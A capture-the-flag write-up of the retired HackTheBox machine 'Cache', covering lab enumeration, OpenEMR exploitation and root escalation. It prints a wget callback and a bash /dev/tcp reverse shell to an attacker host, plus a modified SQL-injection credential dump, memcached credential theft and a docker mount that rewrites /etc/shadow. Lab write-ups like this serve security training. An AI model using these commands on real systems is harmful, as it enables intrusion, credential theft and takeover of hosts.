HTB: Cache
Posted on 10 Oct 2020 in security • 8 min read
This is a writeup about a retired HacktheBox machine:
Cache created by
ASHacker and publish on
May 9, 2020.
This box is classified as a medium machine. The user part is the harder as it
involve some enumeration, chaining two exploit for
openEMR. The root part is
quit easier as it was a simple "exploitation" the box's memcache
and the
docker permissions.
User
Recon
We start with an nmap scan. Only port 22 (SSH) and 80 (HTTP) are open.
# Nmap 7.80 scan initiated Sat May 16 03:28:10 2020 as: nmap -p- -sSV -oN nmap 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 16 03:37:19 2020 -- 1 IP address (1 host up) scanned in 549.65 seconds
Web
We look at the website. The homepage is describing the different type of hacker (sic) (red hats really?).
There is a login page.
When we try to login we see in Burp that there is no request sent.
We look at the JavaScript files loaded by the page and mostly at the file
functionality.js
located at http://cache.htb/jquery/functionality.js
. The
file contain the credentials for the login form: ash:H@v3_fun
$(function(){
var error_correctPassword = false;
var error_username = false;
function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false;
checkCorrectUsername();
if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});
});
Note: the page is also directly accessible without authentication. Some JavaScript on the body tag will make you go back to the login page if you don't have the right referer
.
The page is just under construction and there is not a much to do.
We read the author's page again and focus on its other project: HMS.
We modify our /etc/hosts to add the hms.htb domain (still on the same IP address). We can then browser to the page and get a authentication form for openEMR. The previously find credentials are not working..
We run a dirb
against this new domain and found a admin.php
file.
dirb http://hms.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 16 04:43:49 2020
URL_BASE: http://hms.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://hms.htb/ ----
+ http://hms.htb/admin.php (CODE:200|SIZE:937)
==> DIRECTORY: http://hms.htb/common/
==> DIRECTORY: http://hms.htb/config/
We cannot do much with this admin page but it disclose us the exact version of openEMR used.
We use searchsploit
in order to find an exploit for our version but all of
them are authenticated.
kali@kali:~/$ searchsploit openemr 5.0.1
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
We launch metasploit and search of openEMR exploit. We found a SQL injection dump exploit.
msf5 > search openemr
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/sqli/openemr/openemr_sqli_dump 2019-05-17 normal Yes OpenEMR 5.0.1 Patch 6 SQLi Dump
1 exploit/unix/webapp/openemr_sqli_privesc_upload 2013-09-16 excellent Yes OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
2 exploit/unix/webapp/openemr_upload_exec 2013-02-13 excellent Yes OpenEMR PHP File Upload Vulnerability
We configure the different option, especially the vhost
and run the exploit.
We quickly get some result and it start to dump the first table out of 295… 295!
This will take forever.
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.188 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the OpenEMR installation
VHOST hms.htb no HTTP server virtual host
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
^C[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
We grab the exploit code on rapid7 github
and rewrite the dump_all
module in order to just list the different tables (we
just comment the lines dumping and saving the tables).
def dump_all
payload = 'version()'
db_version = exec_payload_and_parse(payload)
print_status("DB Version: #{db_version}")
print_status('Enumerating tables, this may take a moment...')
tables = enumerate_tables
num_tables = tables.length
print_status("Identified #{num_tables} tables.")
# These tables are impossible to fetch because they increase each request
skiptables = %w[form_taskman log log_comment_encrypt]
tables.each_with_index do |table, i|
if skiptables.include?(table)
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
else
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
#table_data = walk_table(table)
#save_csv(table_data, table)
end
end
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
end
We load our private msf module configure it and run it.
msf5 auxiliary(test/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
<snip>
[*] Dumping table (284/295): therapy_groups_counselors
[*] Dumping table (285/295): therapy_groups_participant_attendance
[*] Dumping table (286/295): therapy_groups_participants
[*] Dumping table (287/295): transactions
[*] Dumping table (288/295): user_settings
[*] Dumping table (289/295): users
[*] Dumping table (290/295): users_facility
[*] Dumping table (291/295): users_secure
[*] Dumping table (292/295): valueset
[*] Dumping table (293/295): version
[*] Dumping table (294/295): voids
[*] Dumping table (295/295): x12_partners
We quickly look at the table structure on the openEMR wiki
and dump the table users
with the index 288 (yes the table index start at 0).
It contains nothing interesting as the users' password where moved into the
users_secure
table (an attentive reading of the wiki page will had give us
that immediately).
We re-wrote our personal module in order to dump the table users_secure
with
the index 290. The dump_all
function now looks like the following:
def dump_all
payload = 'version()'
db_version = exec_payload_and_parse(payload)
print_status("DB Version: #{db_version}")
print_status("version 2")
print_status('Enumerating tables, this may take a moment...')
tables = enumerate_tables
num_tables = tables.length
print_status("Identified #{num_tables} tables.")
# These tables are impossible to fetch because they increase each request
skiptables = %w[form_taskman log log_comment_encrypt]
tables.each_with_index do |table, i|
if skiptables.include?(table)
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
else
if i == 290
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
table_data = walk_table(table)
save_csv(table_data, table)
end
end
end
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
end
We rerun our module and get the looted data, this time we have the username and a password hash!
kali@kali:~/$ cat /home/kali/.msf4/loot/20200516080433_default_10.10.10.188_openemr.users_se_390635.csv
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
1,openemr_admin,$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.,$2a$05$l2sTLIG6GTBeyBf7TAKL6A$,2019-11-21 06:38:40,"","","",""
We load the has inside john
the ripper and quickly get the password xxxxxx
.
$ john hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
xxxxxx (?)
1g 0:00:00:00 DONE 2/3 (2020-05-16 14:07) 4.347g/s 5008p/s 5008c/s 5008C/s stinky..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We can now connect on OpenEMR using our credentials openemr_admin:xxxxxx
.
We then fireup the authenticated exploit for openEMR found previously. At the same time we start a simple Python HTTP server in order to check our RCE. It works.
$python ./45161.py 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'wget http://10.10.14.156:8081/$(id)t 0>&1'
$python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.188 - - [16/May/2020 08:44:58] code 404, message File not found
10.10.10.188 - - [16/May/2020 08:44:58] "GET /uid=33(www-data) HTTP/1.1" 404 -
We change our payload in order to get a reverse shell. We launch a netcat
to
catch our reverse shell.
$python ./45161.py 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.156/4242 0>&1'
$nc -l -p 4242
bash: cannot set terminal process group (2504): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami
whoami
www-data
We use python in order to get a better shell. And switch user to ash
reusing
the password found in the JavaScript file. This allow us to get to the
user.txt
flag.
www-data@cache:/var/www/hms.htb/public_html/interface/main$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su ash
su ash
Password: H@v3_fun
ash@cache:/var/www/hms.htb/public_html/interface/main$ cd
cd
ash@cache:~$ cat user.txt
cat user.txt
a3014a6da5ebe33cd897b66b44397ef1
Root
We use pspy to enumerate the running
process. We see that a few process are running especially dockerd
and
memecached
. Given the name of the box is certain that the memcached
process
is involved.
www-data@cache:/tmp/.plop$ ./pspy64
./pspy64
<snip>
done
2020/05/16 16:16:33 CMD: UID=103 PID=994 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2020/05/16 16:16:33 CMD: UID=0 PID=992 | /usr/sbin/cron -f
2020/05/16 16:16:33 CMD: UID=0 PID=977 | /usr/bin/dockerd -H fd://
2020/05/16 16:16:33 CMD: UID=0 PID=969 | /usr/lib/accountsservice/accounts-daemon
2020/05/16 16:16:33 CMD: UID=111 PID=964 | /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid
2020/05/16 16:16:33 CMD: UID=0 PID=961 | /usr/bin/VGAuthService
2020/05/16 16:16:33 CMD: UID=0 PID=96 |
A few Google search lead us to an article about
testing memcached.
We connect to the service using telnet. We list the item available, get the
user
and the passwd
items.
www-data@cache:/var/cache/apt$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
We get back to an interactive shell and switch user to luffy
. We quickly
identify that we belong to the docker
group and display the docker
version.
$ su luffy
su luffy
Password: 0n3_p1ec3
luffy@cache:/var/www/hms.htb/public_html/interface/main$ id
id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker --version
docker --version
Docker version 18.09.1, build 4c52b90
We use searchsploit
again but th listed one is destructive.
A few Google search lead us to
another article
explaining how you can get a full access to the host system by mounting it into
the docker machine. We quickly list the available images. Only a ubuntu
is
available.
luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker image ls
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB
We mount /root/
into our docker machine and that allow us to get the
root.txt
flag.
luffy@cache:~/.plop$ docker run -v /root/:/mnt -it ubuntu
docker run -v /root/:/mnt -it ubuntu
root@884f0f892e34:/#ls /mnt
ls /mnt
root.txt
root@884f0f892e34:/# cat /mnt/root.txt
cat /mnt/root.txt
da8b94288d919f4c6089fccdaa318832
We could also have mounted the whole file system /
and get the content of
/etc/shadow
to crack the root password. Or even rewrite the root password in /etc/shadow
.
Another docker trick is to chroot
into the mounted folder to get a root to
directly get a shell on the system: docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
We can then generate a new password using perl
# perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
$6$saltsalt$qFmFH.bQmmtXzyBY0s9v7Oicd2z4XSIecDzlB5KiA2/jctKu9YterLp8wwnSq.qc.eoxqOmSuNp2xS0ktL3nh/
And then put the new hash value in a new file /etc/shadow.new
, check it and
then replace the original /etc/shadow
file. One the new value is set we can
exit the docker and switch user to root.
# perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/shadow.new
perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/shadow.new
# cat /etc/shadow.new
cat /etc/shadow.new
root:$6$SALTsalt$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:18178:0:99999:7:::
daemon:*:17941:0:99999:7:::
bin:*:17941:0:99999:7:::
sys:*:17941:0:99999:7:::
sync:*:17941:0:99999:7:::
games:*:17941:0:99999:7:::
man:*:17941:0:99999:7:::
lp:*:17941:0:99999:7:::
mail:*:17941:0:99999:7:::
news:*:17941:0:99999:7:::
uucp:*:17941:0:99999:7:::
proxy:*:17941:0:99999:7:::
www-data:*:17941:0:99999:7:::
backup:*:17941:0:99999:7:::
list:*:17941:0:99999:7:::
irc:*:17941:0:99999:7:::
gnats:*:17941:0:99999:7:::
nobody:*:17941:0:99999:7:::
systemd-network:*:17941:0:99999:7:::
systemd-resolve:*:17941:0:99999:7:::
syslog:*:17941:0:99999:7:::
messagebus:*:17941:0:99999:7:::
_apt:*:17941:0:99999:7:::
lxd:*:17941:0:99999:7:::
uuidd:*:17941:0:99999:7:::
dnsmasq:*:17941:0:99999:7:::
landscape:*:17941:0:99999:7:::
pollinate:*:17941:0:99999:7:::
sshd:*:18156:0:99999:7:::
ash:$6$xXLd6jlN$b37bISaMTwk2uxlpOsRFlJYmNMzFPlSb.7nD2oSzhjtdikwne5j17lAtfwKP0jyfaScDgLKFn9gyPvxg57NcS.:18157:0:99999:7:::
luffy:$6$aPEHFC8D$9ZWqYH2UuImmKRLWA7ZBzSWiBiGLUmXCn7BBpcFq5quVXIj6mA0QtiGwH8opTZ53AzpgnPhaOGq4i1SaRlBlP/:18157:0:99999:7:::
memcache:!:18157:0:99999:7:::
mysql:!:18219:0:99999:7:::
# mv /etc/shadow.new /etc/shadow
mv /etc/shadow.new /etc/shadow
# exit
exit
luffy@cache:~$ su
su
Password: password
root@cache:/home/luffy#
Wrapping up
The box was overall interesting. The root part was really nice as it chained the memcache "exploitation" and the "docker" one.